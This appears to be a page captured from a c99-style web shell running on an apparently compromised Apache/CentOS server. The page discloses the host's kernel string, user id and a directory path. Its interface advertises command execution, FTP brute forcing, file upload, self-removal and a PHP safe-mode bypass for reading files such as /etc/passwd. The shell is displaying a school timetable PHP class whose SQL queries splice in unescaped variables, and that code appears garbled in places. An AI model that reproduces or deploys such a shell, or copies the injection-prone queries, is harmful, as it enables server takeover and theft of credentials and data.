!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/eassess/class/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsTimeTableAssessTmp.php (9.95 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//--Class TimeTableAssessTmp--------------------------
//--PK of TimeTableAssessTmp ::
//    1. ttId
//    2. ttClId
//    3. ttDyId
//    4. ttFrPr
//    5. ttToPr
//    6. ttOfId
//    7. ttSstId

class TimeTableAssessTmp extends clsDB{

var 
$result;
var 
$status;

var 
$ttId;
var 
$ttClId;
var 
$ttWdAcYWeekNo;
var 
$ttDyId;
var 
$ttFrPr;
var 
$ttToPr;
var 
$ttOfId;
var 
$ttSstId;
var 
$ttTitle;
var 
$ttRmId;
var 
$ttEpMepId;
var 
$ttEpSepId;

function 
TimeTableAssessTmp(&$c){
    
$this->c=$c->c;
    
$this->DB=$c->db;
}
function 
AddNew(){
//--ใช้เมธอดนี้เมื่อต้องการเพิ่มข้อมูลใหม่
//--โดยจะกำหนดสถานะของข้อมูลของอ๊อบเจ๊กให้เป็น 1
    
$this->status 1;
}

function 
Edit(){
//--ใช้เมธอดนี้เมื่อต้องการปรับปรุงข้อมูล
//--โดยจะกำหนดสถานะของข้อมูลของอ๊อบเจ๊กให้เป็น 2
    
$this->status 2;
}

function 
Save(){
//--ใช้เมธอดนี้เมื่อต้องการบันทึกข้อมูลในอ๊อบเจ๊กเข้าสู่ฐานข้อมูล
//--โดยจะตรวจสอบสถานะของข้อมูลว่าข้อมูลในอ๊อบเจ๊กเป็นข้อมูลใหม่หรือข้อมูลเดิม
//--1 เป็นข้อมูลใหม่  2 เป็นข้อมูลเดิม
    
if ($this->status==1){
        
//$this->Array=$this->GetNextCode();
        
$sql "insert into TimeTableAssessTmp values('$this->ttId', '$this->ttClId', '$this->ttWdAcYWeekNo', '$this->ttDyId', '$this->ttFrPr', '$this->ttToPr', '$this->ttOfId', '$this->ttSstId', '$this->ttTitle', '$this->ttRmId', '$this->ttEpMepId', '$this->ttEpSepId')";
    }else {
        
$sql "update TimeTableAssessTmp set ttClId='$this->ttClId', ttWdAcYWeekNo='$this->ttWdAcYWeekNo', ttDyId='$this->ttDyId', ttFrPr='$this->ttFrPr', ttToPr='$this->ttToPr', ttOfId='$this->ttOfId', ttSstId='$this->ttSstId', ttTitle='$this->ttTitle', ttRmId='$this->ttRmId', ttEpMepId='$this->ttEpMepId', ttEpSepId='$this->ttEpSepId' where ttId='$this->ttId' and ttClId='$this->ttClId' and ttDyId='$this->ttDyId' and ttFrPr='$this->ttFrPr' and ttToPr='$this->ttToPr' and ttOfId='$this->ttOfId' and ttSstId='$this->ttSstId'";
    }
    
$this->SetQuery($sql);
}

function 
Delete(){
//--ใช้เมธอดนี้เพื่อลบข้อมูลเดิมในอ๊อบเจ๊ก
//--เป็นการลบข้อมูลทีละ 1 เรคอร์ด
//--ต้องเรียกเมธอดตามลำดับดังนี้ SearchByKey()-->GetRecord()-->Delete()
    
$this->SetQuery("delete from TimeTableAssessTmp where ttId='$this->ttId' and ttClId='$this->ttClId' and ttDyId='$this->ttDyId' and ttFrPr='$this->ttFrPr' and ttToPr='$this->ttToPr' and ttOfId='$this->ttOfId' and ttSstId='$this->ttSstId'");
}

function 
GetNextCode(){
//--ใช้เมธอดนี้เพื่อหาค่าสูงสุดของฟิลด์ที่ใช้เป็นคีย์ของตาราง ในลักษณะ auto increment
//--ต้องเป็นฟิลด์ที่ไม่ได้กำหนดรหัสเองทางจอภาพ
    
$this->SetQuery("select max(ttId) as num from TimeTableAssessTmp");
    if (
$result=$this->GetResult()) {
        return 
$result['num']+1;
    }
}

function 
RSTimeTableAssessTmp(){
//--เมธอดที่ขึ้นต้นด้วย RS (Result Set) มีความหมายว่าจะได้รับข้อมูลกลับมาจากการ select มากกว่า 1 เรคอร์ด
//--ปกติเมื่อเรียกใช้เมธอด RSxxxx จะต้องเรียกเมธอด GetRecord() ด้วยเสมอ
//--โดยสามารถเพิ่มเมธอดได้ตามต้องการ แต่ต้องขึ้นต้นด้วย RS
    
$this->SetQuery("select * from TimeTableAssessTmp");
}

function 
GetRecord(){
//--เป็นเมธอดที่นำข้อมูลจาก ResultSet มากำหนดให้กับแอตทริบิวต์ของอ๊อบเจ็ก
//--เรียก GetRecord() หนึ่งครั้ง จะเลื่อนตัวชี้เรคอร์ดไปอีกหนึ่งเรคอร์ด
    
if ($this->result $this->GetResult()) {
        
$this->ttId $this->result['ttId'];
        
$this->ttClId $this->result['ttClId'];
        
$this->ttWdAcYWeekNo $this->result['ttWdAcYWeekNo'];
        
$this->ttDyId $this->result['ttDyId'];
        
$this->ttFrPr $this->result['ttFrPr'];
        
$this->ttToPr $this->result['ttToPr'];
        
$this->ttOfId $this->result['ttOfId'];
        
$this->ttSstId $this->result['ttSstId'];
        
$this->ttTitle $this->result['ttTitle'];
        
$this->ttRmId $this->result['ttRmId'];
        
$this->ttEpMepId $this->result['ttEpMepId'];
        
$this->ttEpSepId $this->result['ttEpSepId'];
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByKey($xKey1$xKey2$xKey3$xKey4$xKey5$xKey6$xKey7){
//--ใช้เมธอดนี้เพื่อค้นหาข้อมูลตาม PK ต้องระบุพารามิเตอร์ด้วย
//--และต้องตามด้วยเมธอด GetRecord() เสมอ
    
if ($this->SetQuery("select * from TimeTableAssessTmp where ttId='$xKey1' and ttClId='$xKey2' and ttDyId='$xKey3' and ttFrPr='$xKey4' and ttToPr='$xKey5' and ttOfId='$xKey6' and ttSstId='$xKey7'")){
        return 
1;
    }else {
        return 
0;
    }
}

function 
NumRow(){
//--เป็นเมธอดที่คืนค่าจำนวนข้อมูลจากการ select โดยเมธอด RSxxxx
    
return $this->GetRowSelected();
}

function 
Destroy(){
//--เป็นเมธอดสำหรับปิดการติดต่อจากฐานข้อมูล
    
return $this->DestroyDb();
}


//****************** You can add new functions below **********************//
function DeleteAll(){
    
$this->SetQuery("delete from TimeTableAssessTmp where 1");
}

function 
DeleteTimeTableByAcadSem($xacadYear,$xsemester){
    return 
$this->Dml("delete tt.* from TimeTableAssessTmp tt
                        join ClassAssessTmp ca 
                        on ttClId=classId 
                        where acadYear='$xacadYear' 
                        and semester='$xsemester'"
);
}

function 
searchDistinctClIdByAcadSem($xacadYear,$xsemester){
    return 
$this->SetQuery("select distinct ttClId
                        from TimeTableAssessTmp 
                        join ClassAssessTmp
                        on ttClId=classId
                        where acadYear='$xacadYear'
                        and semester='$xsemester'"
);
}

function 
searchByClIdAcadSem($cl,$acadYear,$semester){
    return 
$this->SetQuery("select *
                        from TimeTableAssessTmp 
                        join ClassAssessTmp
                        on ttClId=classId
                        where acadYear='$acadYear'
                        and semester='$semester'
                        and ttClId='$cl'
                        order by ttWdAcYWeekNo,ttFrPr"
);
}

//-------------
function RSTimeTableByAcYSeM($xacadYear$xsemester){
    
$this->SetQuery("select tt.* from TimeTableAssessTmp tt
                        join ClassAssessTmp ca 
                        on ttClId=classId 
                        where acadYear='$xacadYear' 
                        and semester='$xsemester'"
);
}
function 
RSClIdAcYTmAndBetweenSCDate($cl,$acY,$tm,$scDate){
    
$this->SetQuery("SELECT tt.* FROM TimeTableAssessTmp tt 
                        JOIN WeekDateAssess wd 
                        ON ttWdAcYWeekNo=wdAcYWeekNo 
                        WHERE ttClId='$cl' 
                        and wdAcY='$acY' 
                        and wdTmId='$tm' 
                        and '$scDate' 
                        between wdFrDate 
                        and wdToDate "
);
}
function 
SearchByClassIdGroupOfficerId($xKey){
    
$this->SetQuery("select * from TimeTableAssessTmp 
                        where ttClId='$xKey' 
                        group by ttClId, ttOfId"
);
}

function 
RSTimeTableByWdAcYWeekLessthenThisWeek($cl,$acY,$tm,$scDate){
    
$this->SetQuery("SELECT distinct tt FROM TimeTableAssessTmp tt 
                        JOIN WeekDateAssess wd 
                        ON ttWdAcYWeekNo=wdAcYWeekNo 
                        WHERE ttClId='322' 
                        and wdAcY='$acY' 
                        and wdTmId='$tm' 
                        and wdAcYWeekNo <= (
                            select wdAcYWeekNo 
                            from WeekDateAssess 
                            where '$scDate' 
                            between wdFrDate and wdToDate
                            and wdAcY='$acY' 
                            and wdTmId='$tm'
                            ) 
                    "
);
}
function 
SearchTimeTableByttId($key){
    
$this->SetQuery("SELECT * FROM TimeTableAssessTmp WHERE ttId='$key' order by ttWdAcYWeekNo,ttFrPr");
}

function 
RSDistinctClassId(){
    
$this->SetQuery("select distinct tt.ttClId
                    from TimeTableAssessTmp tt 
                    join ( select * 
                            from HoldCourseTmp 
                            where 1
                            )A
                    on tt.ttId=A.ttId"
);
}

function 
RSDistinctClassIdJoinHC($defineid){
    
$this->SetQuery("select distinct tt.ttClId
                    from TimeTableAssessTmp tt 
                    join ( select * 
                            from HoldCourse 
                            where defineid='$defineid' 
                            )A
                    on tt.ttId=A.ttId"
);


function 
RSJoinHCByDefineidClId($defineid,$cl){
    
$this->SetQuery("select tt.*
                    from TimeTableAssessTmp tt 
                    join ( select * 
                            from HoldCourse 
                            where defineid='$defineid' 
                            )A
                    on tt.ttId=A.ttId
                    where tt.ttClId='$cl' 
                    order by ttWdAcYWeekNo,ttFrPr"
);
}

function 
RSJoinHCByDefineidClIdNotIsPre($defineid,$cl,$wd,$day){
    
$this->SetQuery("select tt.*
                    from TimeTableAssessTmp tt 
                    join ( select * 
                            from HoldCourse 
                            where defineid='$defineid' 
                            )A
                    on tt.ttId=A.ttId
                    where tt.ttClId='$cl' 
                    and ttWdAcYWeekNo <= '$wd' and ttDyId < '$day' 
                    order by ttWdAcYWeekNo,ttFrPr"
);
}

function 
RSDistinctOfId($classId){
    
$this->SetQuery("select distinct ttOfId
                    from TimeTableAssessTmp
                    where ttClId=$classId order by ttOfId"
);



function 
RSJoinHCByDefineidClIdOfId($defineid,$cl,$Of){
    
$this->SetQuery("select tt.*
                    from TimeTableAssessTmp tt 
                    join ( select * 
                            from HoldCourse 
                            where defineid='$defineid' 
                            )A
                    on tt.ttId=A.ttId
                    where tt.ttClId='$cl' 
                    and tt.ttOfId='$Of' 
                    order by ttWdAcYWeekNo,ttFrPr"
);
}

function 
SearchMaxWeekByClIdOfId($cl,$Of){
    
$this->SetQuery("select max(ttWdAcYWeekNo) as ttWdAcYWeekNo from TimeTableAssessTmp
                                where ttClId = '$cl' and ttOfId = '$Of'"
);
}

function 
SearchByClassIdWeekNo($cl,$wd){
    
$this->SetQuery("select * from TimeTableAssessTmp 
                        where ttClId='$cl' 
                        and ttWdAcYWeekNo = '$wd' "
);
}

function 
RSTimeTableAssessByClId($clId){
    
$this->SetQuery("select * from TimeTableAssessTmp where ttClId='$clId'");
}

function 
RSAddTimetable($xClassId){
    
$this->SetQuery("select * from TimeTableAssessTmp tt1
                where  tt1.ttClId = '$xClassId' and ttId NOT IN
                (select ttId from TimeTableAssess tt2 where tt2.ttClId = '$xClassId')  
                order by ttId"
);
}

function 
RSDeleteTimetable($xAcY,$xTm,$xClassId){
    
$this->SetQuery("select tt.* from TimeTableAssess tt
                join ClassAssess ca on ca.classId = tt.ttClId
                where ca.acadYear = '$xAcY' and ca.semester = '$xTm'
                and ca.classId = '$xClassId' and ttId NOT IN
                    (select ttId from TimeTableAssessTmp )
                order by ttId"
);
}

function 
RSEditTimetable($xClassId){
    
$this->SetQuery("select tt1.* from TimeTableAssessTmp tt1
            inner join TimeTableAssess tt2  
            on (tt1.ttId,tt1.ttClId,tt1.ttMainPlace,tt1.ttSubPlace,
                tt1.ttFlagPlace,tt1.ttWdAcYWeekNo,tt1.ttDyId,tt1.ttFrPr,
                tt1.ttToPr,tt1.ttOfId,tt1.ttSstId,tt1.ttTitle
                )!=
                (tt2.ttId,tt2.ttClId,tt2.ttMainPlace,tt2.ttSubPlace,
                tt2.ttFlagPlace,tt2.ttWdAcYWeekNo,tt2.ttDyId,tt2.ttFrPr,
                tt2.ttToPr,tt2.ttOfId,tt2.ttSstId,tt2.ttTitle
                )
            where tt1.ttId = tt2.ttId && tt1.ttClId = '$xClassId'"
);
}

//--End class TimeTableAssessTmp--
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0127 ]--